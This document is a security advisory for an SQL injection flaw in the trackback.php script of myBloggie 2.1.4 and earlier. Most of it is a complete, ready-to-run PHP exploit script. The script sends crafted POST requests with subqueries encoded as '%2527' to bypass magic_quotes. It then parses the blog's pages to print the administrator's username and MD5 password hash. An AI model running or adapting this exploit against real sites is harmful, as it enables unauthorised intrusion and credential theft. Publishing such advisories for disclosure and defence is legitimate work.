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myBlogger trackback SQL Injection
------------------------------------------------------------------------
SUMMARY
<http://mybloggie.mywebland.com/> myBloggie is "considered one of the
most simple, user-friendliest yet packed with features Weblog system
available to date". A vulnerability in myBloggie allows remote attackers
to cause an SQL injection in the product, which in turn can be used to
disclose the administrative password (HASH).
DETAILS
Vulnerable Systems:
* MyBloggie version 2.1.4 and prior
Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "MyBloggie <= 2.1.4 trackback.php multiple SQL injections
vulnerability /\n";
echo "administrative credentials disclosure exploit\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n\n";;
/*
works regardless of php.ini settings
against MySQL >= 4.1 (allowing subs)
*/
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\n";
echo "host: target server (ip/hostname)\n";
echo "path: path to MyBloggie\n";
echo "Options:\n";
echo " -i specify an existent post id (default: 1)\n";
echo " -T[prefix] specify a table prefix different from default
(mb_)\n";
echo " -p[port]: specify a port other than 80\n";
echo " -P[ip:port]: specify a proxy\n";
echo " -d: disclose table prefix (reccomended)\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /MyBloggie/ -d -i7\r\n";
echo "php ".$argv[0]." localhost /MyBloggie/ -Tm_\r\n";
die;
}
/* software site: http://mybloggie.mywebland.com/
vulnerable code in trackback.php:
..
if(!empty($_REQUEST['title'])) {
$title=urldecode(substr($_REQUEST['title'],0,$tb_title_len));
}
else { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason :
No title</p>"); }
if(!empty($_REQUEST['url'])) {
$url=urldecode($_REQUEST['url']);
if (validate_url($url)==false) { $tback->trackback_reply(1, "<p>Sorry,
Trackback failed.. Reason : URL not valid</p>"); }
}
else { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason :
No URL</p>"); }
if(!empty($_REQUEST['excerpt']))
{
$excerpt=urldecode(substr($_REQUEST['excerpt'],0,$tb_excerpt_len));
} else {
$tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : No
Excerpt</p>");
}
// The blog name
if(!empty($_REQUEST['blog_name']))
{
$blog_name=urldecode(substr($_REQUEST['blog_name'],0,$tb_blogname_len));
} else
{
$blog_name="No Blog Name";
}
$timestamp = mktime(gmtdate('H', time(), $timezone ),gmtdate('i', time(),
$timezone ),
gmtdate('s', time(), $timezone ), gmtdate('n', time(),
$timezone ),
gmtdate('d', time(), $timezone ), gmtdate('Y', time(),
$timezone ));
$sql = "INSERT INTO ".COMMENT_TBL." SET post_id='$tb_id',
comment_subject='$title', comments='$excerpt', com_tstamp='$timestamp' ,
poster = '$blog_name', home='$url',
comment_type='trackback'";
$result = $db->sql_query($sql) or die("Cannot query the database.<br>" .
mysql_error());
..
you have sql injection in 'title', 'url', 'excerpt' and 'blog_name'
argument
with MySQL >= 4.1 that allows SELECT subqueries for INSERT...
so you can insert admin username & password hash inside comments and you
will see them at screen
also arguments are passed to urldecode(), so you can bypass
magic_quotes_gpc
with '%2527' sequence for the single quote char
adn you can disclose table prefix going to:
http://192.168.1.3/mybloggie/index.php?mode=viewdate
you will have an error that disloses a query fragment
-
ex., injecting code in 'title' argument, query becomes:
INSERT INTO mb_comment SET post_id='1',
comment_subject='hi',comments=(SELECT CONCAT('<!--',password,'-->')FROM
mb_user)/*', comments='whatever', com_tstamp='1154799697' ,
poster = 'whatever', home='http://www.suntzu.org',
comment_type='trackback'
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="mb_";
$post_id="1";//admin
$proxy="";
$dt=0;
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-i")
{
$post_id=(int) str_replace("-i","",$argv[$i]);
echo "post id -> ".$post_id."\n";
}
if ($temp=="-d")
{
$dt=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error...
check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if ($dt)
{
$packet ="GET ".$p."index.php?mode=viewdate HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"You have an error in your SQL syntax"))
{
$temp=explode("UNIXTIME(",$html);
$temp2=explode("posts.timest",$temp[1]);
$prefix=$temp2[0];
echo "table prefix -> ".$prefix."\n";
}
}
$sql="%2527,comments=(SELECT
CONCAT(%2527<!--%2527,password,%2527-->%2527)FROM ".$prefix."user)/*";
//some problems with argument length, maybe with prefix > 3 chars you will
have some error, cut the '<!--' but hash will be clearly visible in
comments
$data="title=hi".$sql;
$data.="&url=http%3a%2f%2fwww%2esuntzu%2eorg";
$data.="&excerpt=whatever";
$data.="&blog_name=whatever";
$packet ="POST ".$p."trackback.php/$post_id HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$sql="%2527,comments=(SELECT CONCAT(%2527<!--%2527,user,%2527-->%2527)FROM
".$prefix."user)/*";
$data="title=hi".$sql;
$data.="&url=http%3a%2f%2fwww%2esuntzu%2eorg";
$data.="&excerpt=whatever";
$data.="&blog_name=whatever";
$packet ="POST ".$p."trackback.php/$post_id HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
$packet ="GET ".$p."index.php?mode=viewid&post_id=$post_id HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//echo $html;
$temp=explode('"message"><!--',$html);
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode("-->",$temp[$i]);
if (is_hash($temp2[0]))
{
$hash=$temp2[0];
$temp2=explode("-->",$temp[$i+1]);
$admin=$temp2[0];
echo
"----------------------------------------------------------------\n";
echo "admin -> ".$admin."\n";
echo "password (md5) -> ".$hash."\n";
echo
"----------------------------------------------------------------\n";
die();
}
}
//if you are here...
echo "exploit failed...";
?>
ADDITIONAL INFORMATION
The information has been provided by <mailto:rgod@autistici.org> rgod.
The original article can be found at:
<http://retrogod.altervista.org/mybloggie_214_sql.html>
http://retrogod.altervista.org/mybloggie_214_sql.html
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